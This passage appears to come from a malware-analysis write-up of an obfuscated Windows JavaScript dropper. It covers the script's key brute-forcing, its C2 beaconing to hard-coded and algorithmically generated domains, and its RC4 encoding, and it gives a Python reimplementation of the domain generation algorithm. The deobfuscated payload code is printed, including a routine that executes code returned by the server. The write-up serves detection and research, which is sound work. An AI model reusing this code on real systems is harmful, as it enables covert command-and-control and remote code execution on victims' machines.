javascript2_cipher = base64_decode(javascript2_cipher),

The script then generates keys by concatenating the static key_prefix with the randomly generated key_suffix. The function keeps track of the keys it already tested with the array tested_keys. The generated keys are used to XOR-decrypt the short javascript1_cipher. If the resulting code can be run without throwing an exception, then the second, much longer, javascript in javascript2_cipher is decrypted with the key in variable hbtmutmvp and also run:

    // brute force the key
    key_space_size = 1691;
    while (key_space_size > tested_keys.s_length) {
        key_suffix = get_rand_base27str(Math);
        if (!element_in_list(key_suffix, tested_keys)) {
            try {
                call_function(xor_decrypt(key_prefix + key_suffix, javascript1_cipher));
                // the variable *hbtmutmvp* is set by the previous line (javascript1)
                call_function(xor_decrypt(hbtmutmvp, javascript2_cipher));
                key_space_size = 0;
            } catch (e) {}
            key_suffixs.push(key_suffix);
        }
    }

The author of the JavaScript wasn’t very creative in choosing the correct key suffix — it is “0”. Concatenated with the suffix 2j6ncrals13 gives the correct key 2j6ncrals130. The resulting plaintext of the javascript1_cipher (after discarding the last two characters and running it through JS Beautifier) is:

try {
    g = document
} catch (l) {
    try {
        x = WScript;
        hbtmutmvp = "2C&ed!tl"
    } catch (h) {}
}

This code does two things:

  1. It checks if Microsoft’s WScript is available. On platforms other than Windows, this will throw an exception.
  2. It sets the key variable hbtmutmvp for the payload decryption. The key is 2C&ed!tl.

Decrypting the payload with key “2C&ed!tl” leads to this payload, which will be tackled in the next section.

Payload

The raw payload is hardly obfuscated. After renaming the variables and reformatting, we get this code. The following is a rundown of the routines.

Starting Point

The following snippet show the code at the entry point:

activex_object = new ActiveXObject("Scripting.FileSystemObject"); 
temp_file = activex_object.getSpecialFolder(2) + "\\" + (1 + Math.random() * 65536 | 0).toString(16).substring(1);
fh = activex_object.OpenTextFile(temp_file, 2, 1); 
fh.Write("acoin.dll"); 
fh.Close(); 
hardcoded_domains = []; 
hardcoded_domains.push("jarvis.co"); 
hardcoded_domains.push("vvoxox.eu"); 
hardcoded_domains.push("133754.cc");
key = "zwiwzju3zdmxnjc2ngrhnmjim2";
ua = "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.0)"; 
h_eval = eval; 
tlds = []; 
tlds.push("cc"); 
tlds.push("co"); 
tlds.push("eu"); 
make_post("a", "")

It performs the following steps:

  1. Create an ActiveXObject of type “FileSystemObject” to get access to the Windows filesystem.
  2. Get the temporary path on Windows, e.g., C:\Users\victim\AppData\Local\Temp and create a random filename string between “1” and “FFF” to get a file path, e.g., C:\Users\victim\AppData\Local\Temp\2df. Write “acoin.dll” to the file and close it.
  3. Prepare a list of hard-coded domains (“jarvis.co”, “vvoxox.eu”, and “133754.cc”). Prepare an key string (“zwiwzju3zdmxnjc2ngrhnmjim2”) and user-agent (“Mozilla/4.0 (Windows); MSIE 6.0; Windows NT 5.0”). Also prepare a list of hard-coded top level domains for the domain generation algorithm (“cc”, “co”, and “eu”).
  4. Finally call make_post.

HTTP POST Requests

The make_post function POSTs provided content to a given domain and path:

make_post = function(path, content, domain) {
    if (typeof domain == "undefined") {
        domain = get_domain();
        if (!domain) 
            return 0;
    }
    content = get_content("");
    try {
        activex_downloader = new ActiveXObject("MSXML2.ServerXMLHTTP.6.0"); 
        activex_downloader.open("POST", "http://" + domain + "/" + path + "/"); 
        activex_downloader.setRequestHeader("Pragma", "no-cache"); 
        activex_downloader.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
        activex_downloader.setRequestHeader("User-Agent", ua); 
        activex_downloader.setRequestHeader("Content-Length", 0); 
        activex_downloader.setRequestHeader("Connection", "close"); 
        activex_downloader.send(content);
    } catch (e) {};
    return 0;
}; 

It takes three parameters: the domain, the path and the content. If the domain argument is missing (as for the call from the entry point), a domain is generated with get_domain (see next section). The content parameter is never used, the function calls get_content to get the content to be sent.

The routine then makes a HTTP POST request to the url http://<domain>/<path>/. The User-Agent is “Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.0)” as set by the entry point. The content of the POST is variable content. According to the Content-Type-header, it is of type x-www-form-urlencoded, i.e., name-value-pairs.

Domains

The get_domains function retrieves a working domain:

get_domain = function() {
    shuffled_hardcoded_domains = shuffle_list(hardcoded_domains);
    for (var i = 0; i < shuffled_hardcoded_domains.length; i++) {
        post_result = make_post("a", "", shuffled_hardcoded_domains[i]);
        if (post_result) { 
            j13 = 36e5 + (new Date).getTime(); 
            n13 = 1; 
            i13 = shuffled_hardcoded_domains[i]; 
            return shuffled_hardcoded_domains[i];
        }
    }
    dga_domains = the_dga();
    for (var i = 0; i < 10; i++) {
        m13 = make_post("a", "", dga_domains[i]);
        if (m13) { 
            j13 = (new Date).getTime() + 36e5; 
            i13 = shuffled_hardcoded_domains[i]; 
            n13 = 1; 
            return dga_domains[i];
        }
    }
    n13 = 0;
    return 0
}; 

The function first uses the following routine shuffle_list to get a random permutation of the hardcoded domains ([“jarvis.co”, “vvoxox.eu”, and “133754.cc”):

shuffle_list = function(list) {
    for (var r, tmp, l = list.length; l; r = parseInt(Math.random() * l), 
            tmp = list[--l], 
            list[l] = list[r], 
            list[r] = tmp);
    return list;
}; 

It then tries to contact the permuted hard-coded domains one after another until successful. If none of the domains work, then the domain generation algorithm the_dga is called and the POSTs are repeated for those domains. The domain generation function the_dga is discussed in section The DGA.

Encryption and Encoding of Content

The following function gets the content to be sent in the POST requests:

get_content = function(input) {
    return escape(b64encode(rc4(key, input)));
}; 

The hardcoded key (“zwiwzju3zdmxnjc2ngrhnmjim2”) along with the input (set to "" by the make_post caller) are first passed to rc4. As the name suggests, this routine RC4-encrypts the passed plaintext with the provided key:

rc4 = function(key, plaintext) {
    S = [];
    for (var i = 0; i < 256; i++) 
        S[i] = i;
    var j = 0;
    for (var i = 0; i < 256; i++) {
        j = (j + S[i] + key.charCodeAt(i % key.length)) % 256; 
        tmp = S[i]; 
        S[i] = S[j]; 
        S[j] = tmp;
    }
    n5 = 0; 
    var j = 0; 
    ciphertext = "";
    for (var i = 0; i < plaintext.length; i++) {
        var k = (k + 1) % 256; 
        j = (j + S[k]) % 256; 
        tmp = S[k]; 
        S[k] = S[j]; 
        S[j] = tmp; 
        ciphertext += String.fromCharCode(plaintext.charCodeAt(i) ^ S[(S[k] + S[j]) % 256]);
    }
    return ciphertext;
}; 

The resulting binary ciphertext is then base64 encoded with the following routine

b64encode = function(inp) {
    w2 = 0;
    if (!inp) 
        return inp;
    enc_array = []; 
    var i = 0; 
    inp += "";
    do { 
        c1 = inp.charCodeAt(i++); 
        c2 = inp.charCodeAt(i++); 
        c3 = inp.charCodeAt(i++); 
        c = c1 << 16 | c2 << 8 | c3; 
        b1 = c >> 18 & 63; 
        b2 = c >> 12 & 63; 
        b3 = c >> 6 & 63; 
        b4 = c & 63; 
        enc_array[w2++] = b64chars.charAt(b1) + b64chars.charAt(b2) + 
                            b64chars.charAt(b3) + b64chars.charAt(b4);
    } while (i < inp.length);
    b64string = enc_array.join("");
    i3 = inp.length % 3;
    // padding
    (i3 ? b64string.slice(0, i3 - 3) : b64string) + "===".slice(i3 || 3);
    return b64string
}; 

The variable b64chars is missing in the JavaScript, indicating that the script might still be in development. Because no content is used in the HTTP POST call, there is no need to base64 encode anyways. After base64 encoding, the result is also unnecessarily escaped.

Unused Function

Finally, there is an unused function in the JavaScript:

unused = function() {
    u10 = 0;
    try {
        random_hex_string = (1 + Math.random() * 65536 | 0).toString(16).substring(1);
        post_response = eval((make_post("k", "")));
        if (random_hex_string == post_response["n"])
            for (i = 0; i < post_response[k].length; i++) {
                if (post_response["k"][i]["a"] == "acoin") {
                    h_eval(post_response["k"][i]["c"]);
                }
            }
    } catch (e) {
        debug("1:" + e);
    }
}; 

This routine makes POSTs to the “/k/” path and expects the response to be a randomly generated hex string. The author probably meant to sent the RC4 encrypted random string with the POST to detect sinkholes. If the response field “n” matches the random string, then those responses tagged with “acoin” would be executed.

The DGA

This section finally shows the DGA used by the script.

As Implemented in JavaScript

The domain generation algorithm is implemented as follows:

the_dga = function() {
    dga_domains = []; 
    current_date = new Date;
    for (var i = 0; i < 10; i++)
        for (var j = 0; j < tlds.length; j++) {
            seed = ["OK", 
                    current_date.getUTCMonth() + 1, 
                    current_date.getUTCDate(), 
                    current_date.getUTCFullYear(), 
                    tlds[j]
                ].join("."); 
            r = Math.abs(prng(seed)) + i; 
            domain = "";
            for (var k = 0; k < r % 7 + 6; k++) { 
                r = Math.abs(prng(domain + r)); 
                domain += String.fromCharCode(r % 26 + 97);
            }
            dga_domains.push(domain + "." + tlds[j]);
        }
    return shuffle_list(dga_domains);
}; 

The algorithm is seeded with the current month, year, day and top level domain, as well as hard-coded string (“OK” in my sample). The latter allows the DGA to generate different domain sets.

The function combines those four variables into a seed string OK.<month>.<day>.<year>.<tld>, e.g., “OK.11.26.2015.eu”. This seed is passed to the prng. The PRNG is a reimplementation of the java.lang.String.hashCode() routine found in Java. It turns the ASCII codes of the seed string into an integer:

prng = function(string) {
    string += ""; 
    result = 0;
    for (i = 0; i < string.length; i++) { 
        result = (result << 5) - result + string.charCodeAt(i); 
        result &= result;
    }
    return result;
};

The DGA uses this PRNG to randomly pick lower case letters for the second level domain. It generates 10 different domains for each top level domain, and randomly permutes them.

Reimplementation in Python

Translating the JavaScript has two fallacies:

  1. The maximum integer size is 251 - 1, but for bitwise operations it is only 231 -1. The overflows inside prng are therefore only happening for the << and & operators.
  2. The condition of the for-loop, (k < r % 7 + 6) is evaluated after every loop. The lengths of the domains are therefore not uniformly distributed between 6 and 12, but heavily biased towards domains of length 8: 12.4% have length 6, 22.1% have length 7, 24.9% have length 8, 20.3% have length 9, 12.8% have length 10, 5.7% have length 11, and only 1.7% have length 12,

Here is the reimplementation in Python:

from datetime import datetime
import argparse
from ctypes import c_int

def prng(seed_string):
    result = c_int()
    for c in seed_string:
        a = result.value 
        result.value = (result.value << 5)
        tmp = result.value - a
        result.value = tmp + ord(c)
        result.value &= result.value

    return result.value

def dga(seed, d):
    tlds = ["cc", "co", "eu"]
    dga_domains = []
    for i in range(10):
        for j, tld in enumerate(tlds):
            ss = ".".join([str(s) for s in [seed, d.month, d.day, d.year, tld]])
            r = abs(prng(ss)) + i
            domain = ""
            k = 0
            while k < (r % 7 + 6):
                r = abs(prng(domain + str(r)))
                domain += chr(r % 26 + ord('a'))
                k += 1
            dga_domains.append("{}.{}".format(domain, tld))
    return dga_domains

if __name__=="__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-s", "--seed", help="seed", default="OK")
    parser.add_argument("-d", "--date", help="date for which to generate domains")
    args = parser.parse_args()
    
    d = datetime.strptime(args.date, "%Y-%m-%d") if args.date else datetime.now()

    for domain in dga(args.seed, d):
        print(domain)

You also find the DGA in my Domain Generation Algorithm GitHub Repository.

Characteristics

The characteristics of the DGA are as follows:

seed
magic string and current date
granularity
1 day |
domains per seed and day
10 per top level domain
sequence
randomized
wait time between domains
none
top level domains
.cc, .co, .eu
second level characters
lower case a-z
second level domain length
6 to 12, non-uniform, biased around 8